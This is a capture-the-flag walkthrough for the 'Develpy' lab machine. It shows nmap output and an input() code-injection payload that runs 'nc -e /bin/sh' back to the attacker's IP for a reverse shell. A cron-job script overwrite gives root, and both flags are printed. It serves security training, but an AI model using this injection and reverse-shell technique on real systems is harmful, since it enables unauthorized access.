Develpy

Develpy
boot2root machine for FIT and bsides Guatemala CTF

[Task 1] Develpy

read user.txt and root.txt

DEPLOY MACHINE

#1
user.txt

#2
root.txt

scans

nmap-aggressive

```
PORT     STATE SERVICE         VERSION
22/tcp    open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_  256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)

10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings:
|   GenericLines:
|     Private 0days
```

```
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL:
|     Private 0days
|_    Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint
at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.80%I=7%D=5/11%Time=5EB9643B%P=x86_64-pc-linux-gnu%r(N
SF:ULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%
SF:r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\
SF:r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?
SF:\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File
SF:\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20
SF:\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x2
SF:0of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<strin
SF:g>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x2
SF:0is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20o
SF:f\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20ca
SF:ll\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20i
SF:n\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20
SF:Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\
SF:)\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\nN
SF:ameError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPRequ
SF:est,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x
SF:20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20Tr
SF:aceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\./
SF:exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_e
SF:xploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20ex
SF:ploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x20
SF:line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x2
SF:0exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\x
SF:20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x2
SF:0<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Plea
SF:se\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\
SF:n\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x20
SF:\x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsing
SF:\r\n");
```

nmap-port-22

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_  256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

nmap-port-10000

```
PORT      STATE SERVICE          VERSION
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings:
|   GenericLines:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL:
|     Private 0days
|_    Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint
at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.80%I=7%D=5/11%Time=5EB9645E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%
SF:r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\
SF:r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?
SF:\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File
SF:\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20
SF:\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x2
SF:0of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<strin
SF:g>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x2
SF:0is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20o
SF:f\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20ca
SF:ll\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20i
SF:n\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20
SF:Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\
SF:)\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\nN
SF:ameError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPRequ
SF:est,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x
SF:20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20Tr
SF:aceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\./
SF:exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_e
SF:xploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20ex
SF:ploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x20
SF:line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x2
SF:0exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\x
SF:20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x2
SF:0<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Plea
SF:se\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\
SF:n\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x20
SF:\x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsing
SF:\r\n");
```

user-flag

IP = **10.10.25.41**

1) went to **http://<Ip_Address>:10000** and Python Error below

```
        Private 0days

 Please enther number of exploits to send??: Traceback (most recent call last):
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 1, in <module>
NameError: name 'GET' is not defined
```

2) Create a Python client

```
import socket

host = 10.10.25.41
port = 10000

s = socket.socket()
s.connect((host,port))

while True:
    data = s.recv(2048).decode('utf-8')
    print(data)
    data = s.recv(2048).decode('utf-8')
    print(data)
    s.send(b'1/n') # sends an integer value
    message = input('---Press enter to continue---')

s.close()
```

3) created reverse shell with python code

```
import socket

host = '10.10.25.41'
port = 10000

s = socket.socket()
s.connect((host,port))

while 1:
         data = s.recv(2048).decode('utf-8')
         print( data)
         data = s.recv(2048).decode('utf-8')
         print(data)
         s.send(b'__import__("os").system("nc -e /bin/sh 10.8.3.117 4444")\n')
s.close()
```

4) created netcat listener to get user access

```
nc -lvnp 4444
```

5) **whoami** gives 'king'
6) **cat user.txt** gives user flag
cf85ff769cfaaa721758949bf870b019

root-flag

1) ran **root.sh** file and '**permission denied**'

2) ran **run.sh** and got nothing interesting

3) so I checked cronjobs with **cat /etc/crontab** showing this
*** * * * * king cd /home/king/ && bash run.sh**
*** * * * * root cd /home/king/ && bash root.sh**
*** * * * * root cd /root/company && bash run.sh**

4) then ran the following commands:
rm root.sh
echo 'cp /root/root.txt /home/king/root.txt' > root.sh

5) then ran **cat /home/king/root.txt** to get flag
9c37646777a53910a347f387dce025ec